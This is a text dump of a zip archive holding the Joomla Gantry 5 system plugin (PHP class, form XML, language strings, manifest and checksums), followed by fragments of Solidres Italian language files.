            return '<a href="index.php?option=com_gantry5" class="btn" style="background:#439a86; color:#fff;">Gantry 5</a>';
        }

        $lang = JFactory::getLanguage();
        $lang->load('com_gantry5', JPATH_ADMINISTRATOR) || $lang->load('com_gantry5', JPATH_ADMINISTRATOR . '/components/com_gantry5');

        $title1 = Text::_('GANTRY5_PLATFORM_LAYOUT');
        $title2 = Text::_('GANTRY5_PLATFORM_STYLES');
        $title3 = Text::_('GANTRY5_PLATFORM_PAGESETTINGS');

        return <<<HTML
<a href="{$route}/layout&theme={$theme}&{$token}=1" class="btn" style="background:#439a86; color:#fff;">{$title1}</a>
<a href="{$route}/styles&theme={$theme}&{$token}=1" class="btn" style="background:#439a86; color:#fff;">{$title2}</a>
<a href="{$route}/page&theme={$theme}&{$token}=1" class="btn" style="background:#439a86; color:#fff;">{$title3}</a>
HTML;
    }

    /**
     * @return array
     */
    private function getStyles()
    {
        static $list;

        if ($list === null) {
            // Load styles
            $db = JFactory::getDbo();
            $query = $db
                ->getQuery(true)
                ->select('s.id, s.template')
                ->from('#__template_styles as s')
                ->where('s.client_id = 0')
                ->where('e.enabled = 1')
                ->leftJoin('#__extensions as e ON e.element=s.template AND e.type=' . $db->quote('template') . ' AND e.client_id=s.client_id');

            $db->setQuery($query);
            $templates = (array)$db->loadObjectList();

            $list = array();

            foreach ($templates as $template) {
                if ($this->isGantryTemplate($template->template)) {
                    $list[$template->id] = $template->template;
                }
            }
        }

        return $list;
    }

    /**
     * @param string $name
     * @return bool
     */
    private function isGantryTemplate($name)
    {
        return file_exists(JPATH_SITE . "/templates/{$name}/gantry/theme.yaml");
    }
}
PK!�H��7gantry5/language/en-GB/en-GB.plg_system_gantry5.sys.ininu&1i�PLG_SYSTEM_GANTRY5="System - Gantry 5"
PLG_SYSTEM_GANTRY5_DESCRIPTION="Gantry 5 system plugin. Needs to be enabled at all times."
PLG_SYSTEM_GANTRY5_LIBRARY_MISSING="%s: Gantry 5 Library is missing!"

GANTRY5_THEME_LOADING_FAILED="Failed to load '%s' template: %s"
GANTRY5_THEME_INCLUDE_FAILED="Include failed"

PLG_SYSTEM_GANTRY5_FIELD_PRODUCTION_LABEL="Production Mode"
PLG_SYSTEM_GANTRY5_FIELD_PRODUCTION_DESC="Production mode makes Gantry faster by more aggressive caching and ignoring changed files in the filesystem. Most changes made from administration should still be detected, but changes made in filesystem or database will be ignored."
PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_LABEL="Asset Timestamps"
PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_DESC="Adds timestamps on changed asset files, like images, css and js. The option makes browser to get fresh assets without forcing reload on the page."
PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_PERIOD_LABEL="Timestamp Period"
PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_PERIOD_DESC="Number of days which timestamp is kept after updating the file. Accepts also decimal numbers, eg. 0.5 = 12 hours. Set to 0 to add timestamps on every single asset file."
PLG_SYSTEM_GANTRY5_FIELD_COMPILE_YAML_LABEL="Compile YAML"
PLG_SYSTEM_GANTRY5_FIELD_COMPILE_YAML_DESC="Compile YAML configuration files into PHP, making page loads significantly faster."
PLG_SYSTEM_GANTRY5_FIELD_COMPILE_TWIG_LABEL="Compile Twig"
PLG_SYSTEM_GANTRY5_FIELD_COMPILE_TWIG_DESC="Compile Twig template files into PHP, making page loads significantly faster."
PLG_SYSTEM_GANTRY5_FIELD_USE_MEDIA_FOLDER_LABEL="Use Joomla Images Folder"
PLG_SYSTEM_GANTRY5_FIELD_USE_MEDIA_FOLDER_DESC="By default Gantry media picker saves all files into the theme. If you want to save files into <pre>JROOT/images</pre> folder instead, please select this option. Files in the old location can still be used, but are overridden by the files in the selected folder."
PLG_SYSTEM_GANTRY5_FIELD_USE_ASSIGNMENTS_LABEL="Use Gantry 5 Assignments"
PLG_SYSTEM_GANTRY5_FIELD_USE_ASSIGNMENTS_DESC="By default Gantry uses it's own assignemnts. If you're using custom extension for template assignments, please turn off this setting."
PK!����gantry5/forms/menu_item.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
    <fields name="params">
        <fieldset name="gantry" label="Gantry Menu">
            <field
                name="gantry"
                type="hidden"
                value="1"
            />
            <field
                name="gantry-attributes"
                type="subform"
                label="List Tag Attributes"
                description=""
                layout="joomla.form.field.subform.repeatable-table"
                icon="list"
                multiple="true"
            >
                <form hidden="true" name="list_templates_modal" repeat="true">
                    <field
                        name="key"
                        type="text"
                        label="Key"
                        size="15"
                    />

                    <field
                        name="value"
                        type="text"
                        label="Value"
                        size="15"
                    />
                </form>
            </field>
            <field
                name="gantry-link_attributes"
                type="subform"
                label="Link Tag Attributes"
                description=""
                layout="joomla.form.field.subform.repeatable-table"
                icon="list"
                multiple="true"
            >
                <form hidden="true" name="list_templates_modal" repeat="true">
                    <field
                        name="key"
                        type="text"
                        label="Key"
                        size="15"
                    />

                    <field
                        name="value"
                        type="text"
                        label="Value"
                        size="15"
                    />
                </form>
            </field>
            <field name="gantry-hash"
                   type="text"
                   label="Append Hash"/>
            <field name="gantry-dropdown"
                   type="list"
                   label="Dropdown Style">
                <option value="">- Use Default -</option>
                <option value="standard">Simple</option>
                <option value="fullwidth">Extended</option>
            </field>
            <field name="gantry-dropdown_dir"
                   type="list"
                   label="Dropdown Direction">
                <option value="left">Expand Left</option>
                <option value="center">Keep Centered</option>
                <option value="right">Expand Right</option>
            </field>
            <field name="gantry-dropdown_hide"
                   type="checkbox"
                   label="Disable Dropdowns"/>
            <field name="gantry-width"
                   type="text"
                   label="Dropdown Width"/>
            <field name="gantry-class"
                   type="text"
                   label="CSS Classes"/>
            <field name="gantry-icon"
                   type="text"
                   label="Icon"/>
            <field name="gantry-subtitle"
                   type="text"
                   label="Subtitle"/>
            <field name="gantry-layout"
                   type="hidden"/>
            <field name="gantry-visible"
                   type="hidden"
                   filter="bool"/>
            <field name="gantry-columns"
                   type="hidden"
                   filter="raw"/>
            <field name="gantry-columns_count"
                   type="hidden"
                   filter="raw"/>
            <field name="gantry-particle"
                   type="hidden"/>
            <field name="gantry-options"
                   type="hidden"
                   filter="raw"/>
        </fieldset>
    </fields>
</form>
PK!
��%h%hgantry5/gantry5.phpnu&1i�<?php

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2022 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Document\HtmlDocument;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\Event\DispatcherInterface;
use Joomla\Registry\Registry;
use Gantry5\Loader;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\FileSystem\Folder;
use Gantry\Component\Theme\ThemeDetails;
use Gantry\Debugger;
use Gantry\Framework\Assignments;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Gantry\Framework\Menu;
use Gantry\Framework\Outlines;
use Gantry\Framework\Platform;
use Gantry\Framework\Theme;
use Gantry\Joomla\CacheHelper;
use Gantry\Joomla\StyleHelper;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

// Quick check to prevent fatal error in unsupported Joomla admin.
if (!class_exists(CMSPlugin::class)) {
    return;
}

/**
 * Class plgSystemGantry5
 */
class plgSystemGantry5 extends CMSPlugin
{
    protected $autoloadLanguage = true;

    /** @var CMSApplication */
    protected $app;
    protected $styles;
    protected $modules;

    /**
     * plgSystemGantry5 constructor.
     * @param DispatcherInterface $subject
     * @param array $config
     * @throws Exception
     */
    public function __construct(&$subject, $config = array())
    {
        $this->_name = isset($config['name']) ? $config['name'] : 'gantry5';
        $this->_type = isset($config['type']) ? $config['type'] : 'system';

        $this->app = Factory::getApplication();

        $this->loadLanguage('plg_system_gantry5.sys');

        JLoader::register('Gantry5\Loader', JPATH_LIBRARIES . '/gantry5/src/Loader.php');

        // Detect Gantry Framework or fail gracefully.
        if (!class_exists('Gantry5\Loader')) {
            if ($this->app->isClient('administrator')) {
                $this->app->enqueueMessage(
                    Text::sprintf('PLG_SYSTEM_GANTRY5_LIBRARY_MISSING', Text::_('PLG_SYSTEM_GANTRY5')),
                    'warning'
                );
            }
            return;
        }

        if (!class_exists('Gantry\Debugger')) {
            error_reporting(0);
        }

        // Finish initialization and register all the events.
        parent::__construct($subject, $config);
    }

    /**
     * Return global configuration for Gantry5.
     *
     * @param array $global
     */
    public function onGantryGlobalConfig(&$global)
    {
        $global = $this->params->toArray();
    }

    public function onAfterRoute()
    {
        if (version_compare(JVERSION, '4.0', '<')) {
            // In Joomla 3.9 we need to make sure that user identity has been loaded.
            $this->app->loadIdentity();
        }

        if ($this->app->isClient('site')) {
            $this->onAfterRouteSite();

        } elseif ($this->app->isClient('administrator')) {
            $this->onAfterRouteAdmin();
        }
    }

    /**
     * Document gets set during dispatch, we need language and direction.
     */
    public function onAfterDispatch()
    {
        if (class_exists('Gantry\Framework\Gantry')) {
            $this->onAfterDispatchSiteAdmin();
        }
    }

    public function onAfterRender()
    {
        if ($this->app->isClient('site') && class_exists('Gantry\Framework\Gantry')) {
            $this->onAfterRenderSite();

        } elseif ($this->app->isClient('administrator')) {
            $this->onAfterRenderAdmin();
        }
    }

    /**
     * @param object $module
     * @param array $attribs
     */
    public function onRenderModule(&$module, &$attribs)
    {
        if (!$this->app->isClient('site') || !class_exists('Gantry\Framework\Gantry')) {
            return;
        }

        $gantry = Gantry::instance();
        $outline = $gantry['configuration'];

        // Do not render modules assigned to menu items in error and offline page.
        if (isset($module->menuid) && $module->menuid > 0 && in_array($outline, array('_error', '_offline'), true)) {
            $module = null;
        }

        // TODO: This event allows more diverse module assignment conditions.
    }

    /**
     * Serve particle AJAX requests in 'index.php?option=com_ajax&plugin=particle&format=json'.
     *
     * @return array|string|null
     * @throws RuntimeException
     */
    public function onAjaxParticle()
    {
        if (!$this->app->isClient('site') || !class_exists('Gantry\Framework\Gantry')) {
            return null;
        }

        $input = $this->app->input;
        $format = strtolower($input->getCmd('format', 'html'));

        if (!in_array($format, ['json', 'raw', 'debug'], true)) {
            throw new RuntimeException(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
        }

        $props = $_GET;
        unset($props['option'], $props['plugin'], $props['format'], $props['id'], $props['Itemid']);

        $identifier = $input->getCmd('id');

        if (strpos($identifier, 'module-') === 0) {
            preg_match('`-([\d]+)$`', $input->getCmd('id'), $matches);

            if (!isset($matches[1])) {
                throw new RuntimeException(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
            }

            $id = $matches[1];

            require_once JPATH_ROOT . '/modules/mod_gantry5_particle/helper.php';

            return ModGantry5ParticleHelper::ajax($id, $props, $format);
        }

        $gantry = Gantry::instance();

        /** @var Theme $theme */
        $theme = $gantry['theme'];
        $layout = $theme->loadLayout();
        $html = '';

        if ($identifier === 'main-particle') {
            $type = $identifier;
            $menu = $this->app->getMenu();
            $menuItem = $menu ? $menu->getActive() : null;
            $params = $menuItem ? $menuItem->getParams() : new Registry;

            /** @var object $params */
            $data = json_decode($params->get('particle'), true);
            if ($data && $theme->hasContent()) {
                $context = [
                    'gantry' => $gantry,
                    'noConfig' => true,
                    'inContent' => true,
                    'ajax' => $props,
                    'segment' => [
                        'id' => $identifier,
                        'type' => $data['type'],
                        'classes' => $params->get('pageclass_sfx'),
                        'subtype' => $data['particle'],
                        'attributes' => $data['options']['particle'],
                    ]
                ];

                $html = trim($theme->render('@nucleus/content/particle.html.twig', $context));
            }
        } else {
            $particle = $layout->find($identifier);
            if (!isset($particle->type) || $particle->type !== 'particle') {
                throw new RuntimeException(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
            }

            $context = array(
                'gantry' => $gantry,
                'inContent' => false,
                'ajax' => $props,
            );

            $block = $theme->getContent($particle, $context);
            $type = $particle->type . '.' . $particle->subtype;
            $html = (string) $block;
        }

        if ($format === 'raw') {
            return $html;
        }

        return ['code' => 200, 'type' => $type, 'id' => $identifier, 'props' => (object) $props, 'html' => $html];
    }

    /**
     * Load Gantry framework before dispatching to the component.
     *
     * @throws \RuntimeException
     */
    private function onAfterRouteSite()
    {
        $templateName = $this->app->getTemplate();

        if (!$this->isGantryTemplate($templateName)) {
            return;
        }

        $gantryPath = JPATH_THEMES . "/{$templateName}/custom/includes/gantry.php";
        if (!is_file($gantryPath)) {
            $gantryPath = JPATH_THEMES . "/{$templateName}/includes/gantry.php";
        }
        if (is_file($gantryPath)) {
            // Manually setup Gantry 5 Framework from the template.
            $gantry = include $gantryPath;

            if (!$gantry) {
                throw new \RuntimeException(
                    Text::sprintf('GANTRY5_THEME_LOADING_FAILED', $templateName, Text::_('GANTRY5_THEME_INCLUDE_FAILED')),
                    500
                );
            }

        } else {

            // Setup Gantry 5 Framework or throw exception.
            Loader::setup();

            // Get Gantry instance.
            $gantry = Gantry::instance();

            // Initialize the template.
            $gantry['theme.path'] = JPATH_THEMES . "/{$templateName}";
            $gantry['theme.name'] = $templateName;

            $classPath = $gantry['theme.path'] . '/custom/includes/theme.php';
            if (!is_file($classPath)) {
                $classPath = $gantry['theme.path'] . '/includes/theme.php';
            }

            include_once $classPath;
        }

        if (\GANTRY_DEBUGGER) {
            Debugger::addMessage("Using Gantry 5 template {$templateName}");
        }

        /** @var Theme $theme */
        $theme = $gantry['theme'];

        $assignments = new Assignments();

        if (\GANTRY_DEBUGGER) {
            Debugger::addMessage('Selecting outline (rules, matches, scores):', 'debug');
            Debugger::addMessage($assignments->getPage(), 'debug');
            Debugger::addMessage($assignments->loadAssignments(), 'debug');
            Debugger::addMessage($assignments->matches(), 'debug');
            Debugger::addMessage($assignments->scores(), 'debug');
        }

        $theme->setLayout($assignments->select());

        if ($this->params->get('asset_timestamps', 1)) {
            $age = (int)($this->params->get('asset_timestamps_period', 7) * 86400);
            Document::$timestamp_age = $age > 0 ? $age : PHP_INT_MAX;
        } else {
            Document::$timestamp_age = 0;
        }
    }

    /**
     * Re-route Gantry templates to Gantry Administration component.
     */
    private function onAfterRouteAdmin()
    {
        $input = $this->app->input;

        $option = $input->getCmd('option');
        $task   = $input->getCmd('task');

        if (in_array($option, array('com_templates', 'com_advancedtemplates'), true)) {
            JLoader::register('JFormFieldWarning', __DIR__ . '/fields/warning.php');
            class_exists(JFormFieldWarning::class, true);

            if ($task && strpos($task, 'style') === 0 && $this->params->get('use_assignments', true)) {
                // Get all ids.
                $cid = $input->post->get('cid', (array)$input->getInt('id'), 'array');

                if ($cid) {
                    $styles = $this->getStyles();
                    $selected = array_intersect_key($styles, array_flip($cid));

                    // If no Gantry templates were selected, just let com_templates deal with the request.
                    if (!$selected) {
                        return;
                    }

                    // Special handling for tasks coming from com_template.
                    if ($task === 'style.edit') {
                        $theme = reset($selected);
                        $id = key($selected);
                    $session = $this->app->getSession();
                    $token = $session::getFormToken();
                        $this->app->redirect("index.php?option=com_gantry5&view=configurations/{$id}/layout&theme={$theme}&{$token}=1");
                    }
                }
            }
        }
    }

    /**
     * Document gets set during dispatch, we need language and direction.
     */
    public function onAfterDispatchSiteAdmin()
    {
        $gantry = Gantry::instance();
        if (!isset($gantry['theme'])) {
            return;
        }

        $theme = $gantry['theme'];

        $document = $this->app->getDocument();
        if ($document instanceof HtmlDocument) {
            $document->setHtml5(true);
        }
        $theme->language = $document->language;
        $theme->direction = $document->direction;
    }

    /**
     * Convert all stream uris into proper links.
     */
    private function onAfterRenderSite()
    {
        $gantry = Gantry::instance();

        $html = $this->app->getBody();

        /** @var Document $document */
        $document = $gantry['document'];

        // Only filter our streams. If there's an error (bad UTF8), fallback with original output.
        $this->app->setBody($document::urlFilter($html, false, 0, true) ?: $html);
    }

    /**
     * Convert links in com_templates to point into Gantry Administrator component.
     */
    private function onAfterRenderAdmin()
    {
        $document = $this->app->getDocument();
        $type   = $document->getType();

        $option = $this->app->input->getString('option');
        $view   = $this->app->input->getString('view', 'g5');
        $task   = $this->app->input->getString('task');

        if (($option === 'com_templates' || $option === 'com_advancedtemplates') && ($view === 'g5' || $view === 'styles') && !$task && $type === 'html') {
            $this->styles = $this->getStyles();

            $body = preg_replace_callback('/(<a\s[^>]*href=")([^"]*)("[^>]*>)(.*)(<\/a>)/siU', array($this, 'appendHtml'), $this->app->getBody());

            $this->app->setBody($body);
        }

        if (($option === 'com_modules' || $option === 'com_advancedmodules') && (($view === 'g5' || $view === 'modules') || empty($view)) && $type === 'html') {
            $db    = Factory::getDbo();
            $query = $db->getQuery(true);
            $query->select('id, title, params');
            $query->from('#__modules');
            $query->where('module = ' . $db->quote('mod_gantry5_particle'));
            $db->setQuery($query);
            $data = $db->loadObjectList();

            if (count($data) > 0) {
                $this->modules = array();
                $body = $this->app->getBody();

                foreach ($data as $module) {
                    $params   = json_decode($module->params, false);
                    $particle = isset($params->particle) ? json_decode($params->particle, false) : '';
                    $title = isset($particle->title) ? $particle->title : (isset($particle->particle) ? $particle->particle : '');
                    $type = isset($particle->particle) ? $particle->particle : '';

                    $this->modules[$module->id] = $particle;

                    $body = preg_replace_callback('/(<a\s[^>]*href=")([^"]*)("[^>]*>)(.*)(<\/a>)/siU', function($matches) use ($title, $type) {
                        return $this->appendHtml($matches, $title, $type);
                    }, $body);
                }


                $this->app->setBody($body);
            }
        }
    }

    /**
     * Save plugin parameters and trigger the save events.
     *
     * @param array $data
     * @return bool
     * @throws RuntimeException
     * @see JModelAdmin::save()
     */
    public function onGantry5SaveConfig(array $data)
    {
        $name = 'plg_' . $this->_type . '_' . $this->_name;

        // Initialise variables;
        $table = Table::getInstance('Extension');

        // Include the content plugins for the on save events.
        PluginHelper::importPlugin('extension');

        // Load the row if saving an existing record.
        $table->load(array('type'=>'plugin', 'folder'=>$this->_type, 'element'=>$this->_name));

        $params = new Registry($table->params);
        $params->loadArray($data);

        $table->params = $params->toString();

        // Check the data.
        if (!$table->check()) {
            throw new RuntimeException($table->getError());
        }

        // Trigger the onContentBeforeSave event.
        $result = $this->app->triggerEvent('onExtensionBeforeSave', array($name, $table, false));
        if (in_array(false, $result, true)) {
            throw new RuntimeException($table->getError());
        }

        // Store the data.
        if (!$table->store()) {
            throw new RuntimeException($table->getError());
        }

        // Clean the cache.
        CacheHelper::cleanPlugin();

        // Update plugin settings.
        $this->params = $params;

        // Trigger the onExtensionAfterSave event.
        $this->app->triggerEvent('onExtensionAfterSave', array($name, $table, false));

        return true;
    }

    /**
     * @param string $context
     * @param JTable $table
     * @param bool $isNew
     * @param array $data
     * @return void
     */
    public function onContentBeforeSave($context, $table, $isNew, $data = array())
    {
        switch ($context) {
            case 'com_menus.item':
                Loader::setup();

                $params = new Registry($table->params ?: '{}');
                $isGantry = !empty($params['gantry']);
                if ($isGantry and class_exists(Menu::class)) {
                    // Remove default Gantry params.
                    $gantryParams = Menu::decodeJParams($params);
                    Menu::updateJParams($params, $gantryParams);

                    $table->params = $params->toString();
                }

                break;
        }
    }

    /**
     * @param string $context
     * @param object $table
     * @param bool $isNew
     */
    public function onExtensionBeforeSave($context, $table, $isNew)
    {
        if ($context === 'com_config.component' && $table && $table->type === 'component' && $table->name === 'com_gantry5') {
            $name = 'plg_' . $this->_type . '_' . $this->_name;

            $params = new Registry($table->params);

            $data = (array) $params->get($name);

            Loader::setup();

            $this->onGantry5SaveConfig($data);

            // Do not save anything into the component itself (Joomla cannot handle it).
            $table->params = '';

            return;
        }
    }

    /**
     * @param string $context
     * @param object $table
     * @param bool $isNew
     */
    public function onExtensionAfterSave($context, $table, $isNew)
    {
        if ($context === 'com_config.component' && $table && $table->type === 'component' && $table->name === 'com_gantry5') {

        }

        if ($context !== 'com_templates.style' || $table->client_id || !$this->isGantryTemplate($table->template)) {
            return;
        }

        if (!$isNew) {
            return;
        }

        $template = $table->template;

        $this->load($template);
        $registry = new Registry($table->params);
        $old = (int) $registry->get('configuration', 0);
        $new = (int) $table->id;

        if ($old && $old !== $new) {
            StyleHelper::copy($table, $old, $new);
        }
    }

    /**
     * @param string $context
     * @param object $table
     */
    public function onExtensionBeforeDelete($context, $table)
    {
        if ($context !== 'com_templates.style' || $table->client_id || !$this->isGantryTemplate($table->template)) {
            return true;
        }

        $template = $table->template;

        $gantry = $this->load($template);

        /** @var Outlines $outlines */
        $outlines = $gantry['outlines'];

        try {
            $outlines->delete($table->id, false);
        } catch (Exception $e) {
            $this->app->enqueueMessage($e->getMessage(), 'error');
            return false;
        }

        return true;
    }

    /**
     * @param string $context
     * @param object $data
     * @return bool
     */
    public function onContentPrepareData($context, $data)
    {
        $name = 'plg_' . $this->_type . '_' . $this->_name;

        // Check that we are manipulating a valid form.
        switch ($context) {
            case 'com_menus.item':
                Loader::setup();

                $isNew = $data->parent_id === null;
                $menuParams = Menu::decodeJParams($data->params);
                $isGantry = !empty($data->params['gantry']) || is_array($menuParams);
                if ($isNew || $isGantry) {
                    // Add default Gantry params to menu item.
                    if (null === $menuParams) {
                        $menuParams = [];
                    }
                    $data->params = array_merge($data->params, Menu::encodeJParams($menuParams, false));
                }
                break;
        }

        return true;
    }

    /**
     * @param Form $form
     * @param object $data
     * @return bool
     */
    public function onContentPrepareForm($form, $data)
    {
        // Check that we are manipulating a valid form.
        if (!($form instanceof Form)) {
            $this->_subject->setError('JERROR_NOT_A_FORM');

            return false;
        }

        $name = 'plg_' . $this->_type . '_' . $this->_name;

        switch ($form->getName()) {
            case 'com_config.component':
                // If we are editing configuration from Gantry component, add missing fields from system plugin.
                $rules = $form->getField('rules');
                if ($rules && $rules->getAttribute('component') === 'com_gantry5') {
                    $this->loadLanguage("{$name}.sys");
                    // Add plugin fields to the form under plg_type_name.
                    $file = file_get_contents(__DIR__."/{$this->_name}.xml");
                    $file = preg_replace('/ name="params"/', " name=\"{$name}\"", $file);
                    $form->load($file, false, '/extension/config');

                    // Joomla seems to be missing support for component data manipulation so do it manually here.
                    $form->bind([$name => $this->params->toArray()]);
                }
                break;

            case 'com_menus.items.filter':
                break;

            case 'com_menus.item':
                Loader::setup();

                $isNew = $data->parent_id === null;
                $isGantry = !empty($data->params['gantry']) || is_array(Menu::decodeJParams($data->params));
                if ($isNew || $isGantry) {
                    // Add Gantry Menu tab to the form.
                    JForm::addFormPath(__DIR__ . '/forms');
                    $form->loadFile('menu_item', false);
                }

                break;
        }

        return true;
    }

    /**
     * @param array  $matches
     * @param string $content
     * @param string $type
     * @return string
     */
    private function appendHtml(array $matches, $content = 'Gantry 5', $type = '')
    {
        $html = $matches[0];

        if (strpos($matches[2], 'task=style.edit') || strpos($matches[2], 'task=module.edit')) {
            $uri = new Uri($matches[2]);
            $id = (int) $uri->getVar('id');

            if ($id && (isset($this->styles[$id]) || isset($this->modules[$id])) && in_array($uri->getVar('option'), array('com_templates', 'com_advancedtemplates', 'com_modules', 'com_advancedmodules'), true)) {
                $html = $matches[1] . $uri . $matches[3] . $matches[4] . $matches[5];
                $colors = $content ? 'background:#439a86;' : 'background:#f17f48;';
                $content = $content ?: 'No Particle Selected';
                $title = $type ? ' title="Particle Type: ' . $type . '"' : '';

                // TODO: remove label when dropping Joomla 3 support.
                $html .= ' <span class="label badge bagde-info" ' . $title . ' style="' . $colors . 'color:#fff;">' . $content . '</span>';

                if (isset($this->modules[$id])) {
                    unset($this->modules[$id]);
                } else {
                    unset($this->styles[$id]);
                }
            }
        }

        return $html;
    }

    /**
     * @return array
     */
    private function getStyles()
    {
        static $list;

        if ($list === null) {
            // Load styles
            $db = Factory::getDbo();
            $query = $db
                ->getQuery(true)
                ->select('s.id, s.template')
                ->from('#__template_styles as s')
                ->where('s.client_id = 0')
                ->where('e.enabled = 1')
                ->leftJoin('#__extensions as e ON e.element=s.template AND e.type=' . $db->quote('template') . ' AND e.client_id=s.client_id');

            $db->setQuery($query);
            $templates = (array)$db->loadObjectList();

            $list = array();

            foreach ($templates as $template) {
                if ($this->isGantryTemplate($template->template)) {
                    $list[$template->id] = $template->template;
                }
            }
        }

        return $list;
    }

    /**
     * @param string $name
     * @return bool
     */
    private function isGantryTemplate($name)
    {
        return file_exists(JPATH_SITE . "/templates/{$name}/gantry/theme.yaml");
    }

    /**
     * @param string $name
     * @return \Gantry\Framework\Gantry
     */
    protected function load($name)
    {
        Loader::setup();

        $gantry = Gantry::instance();

        if (!isset($gantry['theme.name']) || $name !== $gantry['theme.name']) {
            // Restart Gantry and initialize it.
            $gantry = Gantry::restart();
            $gantry['theme.name'] = $name;

            $streams = $gantry['streams'];
            $streams->register();

            /** @var Platform $patform */
            $patform = $gantry['platform'];
            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];
            /** @var Config $global */
            $global = $gantry['global'];

            // Initialize theme stream.
            $details = new ThemeDetails($name);
            $locator->addPath('gantry-theme', '', $details->getPaths(), false, true);

            // Initialize theme cache stream.
            $cachePath = $patform->getCachePath() . '/' . $name;
            Folder::create($cachePath);
            $locator->addPath('gantry-cache', 'theme', array($cachePath), true, true);

            CompiledYamlFile::$defaultCachePath = $locator->findResource('gantry-cache://theme/compiled/yaml', true, true);
            CompiledYamlFile::$defaultCaching = $global->get('compile_yaml', 1);
        }

        return $gantry;
    }
}
PK!�.�==gantry5/MD5SUMSnu&1i�MD5SUMS	d41d8cd98f00b204e9800998ecf8427e
fields/warning.php	b9256587fdaf81b68f353d2224a0a47c
forms/menu_item.xml	08ae1027adb66882106a53a805f48687
gantry5.php	643528e50102df7404e1e91f56d9e8e5
gantry5.xml	26ee9ae9d4a76efc69a286da580281cf
language/en-GB/en-GB.plg_system_gantry5.sys.ini	4085ea91c3246231ce7d885f60ff18d2
PK!n��gantry5/gantry5.xmlnu&1i�<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
    <name>plg_system_gantry5</name>
    <version>5.5.17</version>
    <creationDate>October 30, 2023</creationDate>
    <author>RocketTheme, LLC</author>
    <authorEmail>support@rockettheme.com</authorEmail>
    <authorUrl>http://www.rockettheme.com</authorUrl>
    <copyright>(C) 2005 - 2021 RocketTheme, LLC. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2</license>
    <description>PLG_SYSTEM_GANTRY5_DESCRIPTION</description>

    <files>
        <filename plugin="gantry5">gantry5.php</filename>
        <filename>MD5SUMS</filename>
        <folder>fields</folder>
        <folder>forms</folder>
        <folder>language</folder>
    </files>

    <config>
        <fields name="params">
            <fieldset name="basic" label="PLG_SYSTEM_GANTRY5">
                <field name="production"
                       type="radio"
                       class="btn-group btn-group-yesno"
                       default="0"
                       description="PLG_SYSTEM_GANTRY5_FIELD_PRODUCTION_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_PRODUCTION_LABEL">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="use_assignments"
                       type="radio"
                       class="btn-group btn-group-yesno"
                       default="1"
                       description="PLG_SYSTEM_GANTRY5_FIELD_USE_ASSIGNMENTS_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_USE_ASSIGNMENTS_LABEL">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="use_media_folder"
                       type="radio"
                       class="btn-group btn-group-yesno"
                       default="0"
                       description="PLG_SYSTEM_GANTRY5_FIELD_USE_MEDIA_FOLDER_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_USE_MEDIA_FOLDER_LABEL">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="asset_timestamps"
                       type="radio"
                       class="btn-group btn-group-yesno"
                       default="1"
                       description="PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_LABEL">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="asset_timestamps_period"
                       type="text"
                       default="7"
                       filter="float"
                       description="PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_PERIOD_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_ASSET_TIMESTAMPS_PERIOD_LABEL"/>

                <field name="compile_yaml"
                       type="radio"
                       class="btn-group btn-group-yesno"
                       default="1"
                       description="PLG_SYSTEM_GANTRY5_FIELD_COMPILE_YAML_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_COMPILE_YAML_LABEL">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="compile_twig"
                       type="radio"
                       class="btn-group btn-group-yesno"
                       default="1"
                       description="PLG_SYSTEM_GANTRY5_FIELD_COMPILE_TWIG_DESC"
                       label="PLG_SYSTEM_GANTRY5_FIELD_COMPILE_TWIG_LABEL">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>
PK!SQ����9solidres/language/it-IT/it-IT.plg_system_solidres.sys.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8
; IT translation completed on September 18, 2013, Manca Cesare

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="System plugin di Solidres"PK!SQ����5solidres/language/it-IT/it-IT.plg_system_solidres.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
